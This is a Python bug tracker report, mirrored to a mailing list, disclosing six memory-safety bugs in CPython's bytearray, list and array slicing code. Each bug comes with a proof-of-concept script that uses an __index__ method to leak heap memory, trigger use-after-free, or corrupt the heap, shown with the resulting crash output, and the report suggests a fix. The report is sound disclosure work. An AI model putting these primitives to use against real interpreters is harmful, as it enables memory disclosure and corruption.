New submission from tehybel: Here I will describe 6 issues with various core objects (bytearray, list) and the array module.
Common to them all is that they arise due to a misuse of the function PySlice_GetIndicesEx. This type of issue results in out-of-bounds array indexing which leads to memory disclosure, use-after-frees or memory corruption, depending on the circumstances. For each issue I've attached a proof-of-concept script which either prints leaked heap memory or segfaults on my machine (64-bit linux, --with-pydebug, python 3.5.2). Issue 1: out-of-bounds indexing when taking a bytearray's subscript While taking the subscript of a bytearray, the function bytearray_subscript in /Objects/bytearrayobject.c calls PySlice_GetIndicesEx to validate the given indices. Some of these indices might be objects with an __index__ method, and thus PySlice_GetIndicesEx could call back into python code. If the evaluation of the indices modifies the bytearray, the indices might no longer be safe, despite PySlice_GetIndicesEx saying so. Here is a PoC which lets us read out 64 bytes of uninitialized memory from the heap: --- class X: def __index__(self): b[:] = [] return 1 b = bytearray(b"A"*0x1000) print(b[0:64:X()]) --- Here's the result on my system: $ ./python poc17.py bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\xb0\xce\x86\x9ff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') Issue 2: memory corruption in bytearray_ass_subscript This issue is similar to the one above. The problem exists when assigning to a bytearray via subscripting. The relevant function is bytearray_ass_subscript. The relevant line is again the one calling PySlice_GetIndicesEx. Here's a PoC which leads to memory corruption of the heap: --- class X: def __index__(self): del b[0:0x10000] return 1 b = bytearray(b"A"*0x10000) b[0:0x8000:X()] = bytearray(b"B"*0x8000) --- Here's the result of running it: (gdb) r poc20.py Program received signal SIGSEGV, Segmentation fault. PyCFunction_NewEx (ml=0x8b4140 <textiowrapper_methods+128>, self=self@entry=0x7ffff7f0e898, module=module@entry=0x0) at Objects/methodobject.c:31 31 free_list = (PyCFunctionObject *)(op->m_self); (gdb) p op $13 = (PyCFunctionObject *) 0x4242424242424242 Issue 3: use-after-free when taking the subscript of a list This issue is similar to the one above, but it occurs when taking the subscript of a list rather than a bytearray. The relevant code is in list_subscript which exists in /Objects/listobject.c. Here's a PoC: --- class X: def __index__(self): b[:] = [1, 2, 3] return 2 b = [123]*0x1000 print(b[0:64:X()]) --- It results in a segfault here because of a use-after-free: (gdb) run ./poc18.py Program received signal SIGSEGV, Segmentation fault. 0x0000000000483553 in list_subscript (self=0x7ffff6d53988, item=<optimized out>) at Objects/listobject.c:2441 2441 Py_INCREF(it); (gdb) p it $2 = (PyObject *) 0xfbfbfbfbfbfbfbfb Issue 4: use-after-free when assigning to a list via subscripting The same type of issue exists in list_ass_subscript where we assign to the list using a subscript. Here's a PoC which also results in a use-after-free: --- class X: def __index__(self): b[:] = [1, 2, 3] return 2 b = [123]*0x1000 b[0:64:X()] = [0]*32 --- (gdb) r poc19.py Program received signal SIGSEGV, Segmentation fault. 0x0000000000483393 in list_ass_subscript (self=<optimized out>, item=<optimized out>, value=<optimized out>) at Objects/listobject.c:2603 2603 Py_DECREF(garbage[i]); (gdb) p garbage[i] $4 = (PyObject *) 0xfbfbfbfbfbfbfbfb Issue 5: out-of-bounds indexing in array_subscr Same type of issue. The problem is in the function array_subscr in /Modules/arraymodule.c. Here's a PoC which leaks and prints uninitialized memory from the heap: --- import array class X: def __index__(self): del a[:] a.append(2) return 1 a = array.array("b") for _ in range(0x10): a.append(1) print(a[0:0x10:X()]) --- And the result: $ ./python poc22.py array('b', [2, -53, -53, -53, -5, -5, -5, -5, -5, -5, -5, -5, 0, 0, 0, 0]) Issue 6: out-of-bounds indexing in array_ass_subscr Same type of issue, also in the array module. Here's a PoC which segfaults here: --- import array class X: def __index__(self): del a[:] return 1 a = array.array("b") a.frombytes(b"A"*0x100) del a[::X()] --- How should these be fixed? I would suggest that in each instance we could add a check after calling PySlice_GetIndicesEx. The check should validate that the "length" argument passed to PySlice_GetIndicesEx did not change during the call. But maybe there is a better way? (By the way: these issues might also exist in 2.7, I did not check.) ---------- components: Extension Modules, Interpreter Core messages: 273708 nosy: tehybel priority: normal severity: normal status: open title: various issues due to misuse of PySlice_GetIndicesEx versions: Python 3.5, Python 3.6 _______________________________________ Python tracker <rep...@bugs.python.org> <https://bugs.python.org/issue27867> _______________________________________ _______________________________________________ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com